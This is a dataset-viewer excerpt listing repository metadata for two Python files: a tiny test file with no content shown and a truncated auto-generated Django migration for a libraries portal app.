12cb92ef2e5e7234c3018be90e228a46961390dc | 3f3187918934bf08741ee398c82016142bdc8e34 | /test_es.py | 5984794f914a264571bb028a10e1cab0df6d045d | [] | no_license | satish107/reference | 381f9bce44eab622aefb28665a293505299b4ca7 | 7d9cb9c733be23ecb62cfd1afc25b9f4921b4e70 | refs/heads/master | 2023-04-13T07:07:21.557738 | 2023-01-06T07:16:40 | 2023-01-06T07:16:40 | 284,040,069 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 10 | py | test_es.py | [
"satish.kumar@careers360.com"
] | satish.kumar@careers360.com |
2c6f44399105c6eaf015fa79e82a8722f392705f | e13c98f36c362717fdf22468b300321802346ef5 | /home/migrations/0005_auto_20161130_1514.py | a8eda78bd3708cdb4cd0d223a5be51a7bbc35b45 | [] | no_license | alexmon1989/libraries_portal | 2415cc49de33459266a9f18ed8bb34ac99d3eb7c | 277081e09f6347c175775337bffba074a35f3b92 | refs/heads/master | 2021-01-23T07:25:53.884795 | 2018-12-25T14:29:29 | 2018-12-25T14:29:29 | 80,501,603 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 577 | py | # -*- coding: utf-8 -*-
# Generated by Django 1.10.3 on 2016-11-30 13:14
from __future__ import unicode_literals
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('home', '0004_auto_20161130_1402'),
]
operations = ... | [
"alex.mon1989@gmail.com"
] | alex.mon1989@gmail.com |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.